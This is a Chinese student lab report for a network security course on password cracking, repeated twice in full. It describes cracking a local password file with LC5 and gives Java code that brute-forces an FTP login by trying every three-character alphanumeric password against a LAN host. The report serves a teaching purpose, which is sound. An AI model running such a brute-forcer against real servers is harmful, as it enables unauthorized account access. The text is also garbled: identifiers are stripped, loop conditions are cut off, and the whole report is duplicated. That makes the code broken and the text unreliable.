2023年7月31日发(作者:)

课程实验报告

课 程 名 称: 网络安全技术

实验项目名称: 口令破解

专 业 班 级: B08522

* 名: ***

学 号: ***********

* * * 师: ***

完 成 时 间: 2011 年 9 月 18 日

计算机科学与工程系 实验题目:口令破解

实验内容:

(1) LC5的使用。

(2) FTP穷举密码登录的Java实现。

实验结果:

1、 LC5的使用。

该工具可以从本地机器或远程电脑导入口令文件,也可以嗅探网络取得口令文件。我在此次实验中使用本地机器中的口令文件。

在取得口令文件之后,该工具可以以多种方式来破解加密了的口令文件中的账号以及密码信息,分别为快速口令破解、普通口令破解和复杂口令破解。使用的字典可以自定义,软件自带的字典已经相当全面,该软件也提供暴力破解的方式,并可以将暴力破解和字典破解结合起来进行口令的破解。

如图1所示为使用普通口令破解方式破解本地计算机的口令文件的结果。

图1

2、 穷举密码登录FTP服务器。

使用JDK中的相关类及其方法,我写了一个简单的穷举密码登录FTP服务器的程序。

package ;

import ption;

import ent;;

/**

* @author eyuan

* 使用穷举密码的办法登录FTP服务器

* 假设:用户名已知,密码长度已知

*/

public class FtpServerConnect {

FtpClient ftpClient=null;

String ip="";

int port=0;

String username="";

char[] password;

String passwd="";

/**

* main()

*/

public static void main(String[] args) {

FtpServerConnect fsc=new FtpServerConnect();

="192.168.1.105";

=21;

me="mhb";

rd=new char[3];

tServer(, );

StringBuffer sb=new StringBuffer();

for(int i=0;i<=9;i++){

(i);

}

for(char ch='A';ch<='Z';ch++){

(ch);

}

for(char ch='a';ch<='z';ch++){

(ch);

}

int sbLength=();

for(int i=0;i

rd[0]=(i);

for(int j=0;j

rd[1]=(j);

for(int k=0;k

rd[2]=(k);

=""+rd[0]+rd[1]+rd[2];

if(erver(me, )){

n("成功登录FTP服务器");

n("用户密码:"+);

return;

}

}

}

}

}

/**

* 连接到指定IP地址的服务器上的指定端口的FTP服务

* @param String ip 服务器IP地址

* @param int port 服务器FTP端口

* @return boolean flagConnectServer 是否成功连接到服务器

*/

public boolean connectServer(String ip,int port){

boolean flagConnectServer=true;

ftpClient=new FtpClient();

try{

rver(ip, port);

}

n("连接服务器成功");

}catch(IOException ioe){

flagConnectServer=false;

n("IP地址或者端口错误,无法连接到服务器");

}

return flagConnectServer;

}

/**

* 使用指定的用户名和密码登录指定的FTP服务器

* @param String username FTP用户名

* @param String password FTP密码

* @return boolean flagLoginServer 是否登录成功

*/

public boolean loginServer(String username,String password){

boolean flagLoginServer=true;

try {

(username, password);

n("登录成功");

} catch (IOException e) {

flagLoginServer=false;

}

return flagLoginServer;

}

实验总结:

实验较简单,内容全部完成。

在该次实验中,使用Java实现了一个FTP的连接和登录。Java中提供了相关的类和方法,封装了FTP协议的实现,可以很容易的编写一个FTP客户端来上传、下载文件等。实验之后,我在课下时间简单的实现了一个FTP客户端程序。

2023年7月31日发(作者:)

课程实验报告

课 程 名 称: 网络安全技术

实验项目名称: 口令破解

专 业 班 级: B08522

* 名: ***

学 号: ***********

* * * 师: ***

完 成 时 间: 2011 年 9 月 18 日

计算机科学与工程系 实验题目:口令破解

实验内容:

(1) LC5的使用。

(2) FTP穷举密码登录的Java实现。

实验结果:

1、 LC5的使用。

该工具可以从本地机器或远程电脑导入口令文件,也可以嗅探网络取得口令文件。我在此次实验中使用本地机器中的口令文件。

在取得口令文件之后,该工具可以以多种方式来破解加密了的口令文件中的账号以及密码信息,分别为快速口令破解、普通口令破解和复杂口令破解。使用的字典可以自定义,软件自带的字典已经相当全面,该软件也提供暴力破解的方式,并可以将暴力破解和字典破解结合起来进行口令的破解。

如图1所示为使用普通口令破解方式破解本地计算机的口令文件的结果。

图1

2、 穷举密码登录FTP服务器。

使用JDK中的相关类及其方法,我写了一个简单的穷举密码登录FTP服务器的程序。

package ;

import ption;

import ent;;

/**

* @author eyuan

* 使用穷举密码的办法登录FTP服务器

* 假设:用户名已知,密码长度已知

*/

public class FtpServerConnect {

FtpClient ftpClient=null;

String ip="";

int port=0;

String username="";

char[] password;

String passwd="";

/**

* main()

*/

public static void main(String[] args) {

FtpServerConnect fsc=new FtpServerConnect();

="192.168.1.105";

=21;

me="mhb";

rd=new char[3];

tServer(, );

StringBuffer sb=new StringBuffer();

for(int i=0;i<=9;i++){

(i);

}

for(char ch='A';ch<='Z';ch++){

(ch);

}

for(char ch='a';ch<='z';ch++){

(ch);

}

int sbLength=();

for(int i=0;i

rd[0]=(i);

for(int j=0;j

rd[1]=(j);

for(int k=0;k

rd[2]=(k);

=""+rd[0]+rd[1]+rd[2];

if(erver(me, )){

n("成功登录FTP服务器");

n("用户密码:"+);

return;

}

}

}

}

}

/**

* 连接到指定IP地址的服务器上的指定端口的FTP服务

* @param String ip 服务器IP地址

* @param int port 服务器FTP端口

* @return boolean flagConnectServer 是否成功连接到服务器

*/

public boolean connectServer(String ip,int port){

boolean flagConnectServer=true;

ftpClient=new FtpClient();

try{

rver(ip, port);

}

n("连接服务器成功");

}catch(IOException ioe){

flagConnectServer=false;

n("IP地址或者端口错误,无法连接到服务器");

}

return flagConnectServer;

}

/**

* 使用指定的用户名和密码登录指定的FTP服务器

* @param String username FTP用户名

* @param String password FTP密码

* @return boolean flagLoginServer 是否登录成功

*/

public boolean loginServer(String username,String password){

boolean flagLoginServer=true;

try {

(username, password);

n("登录成功");

} catch (IOException e) {

flagLoginServer=false;

}

return flagLoginServer;

}

实验总结:

实验较简单,内容全部完成。

在该次实验中,使用Java实现了一个FTP的连接和登录。Java中提供了相关的类和方法,封装了FTP协议的实现,可以很容易的编写一个FTP客户端来上传、下载文件等。实验之后,我在课下时间简单的实现了一个FTP客户端程序。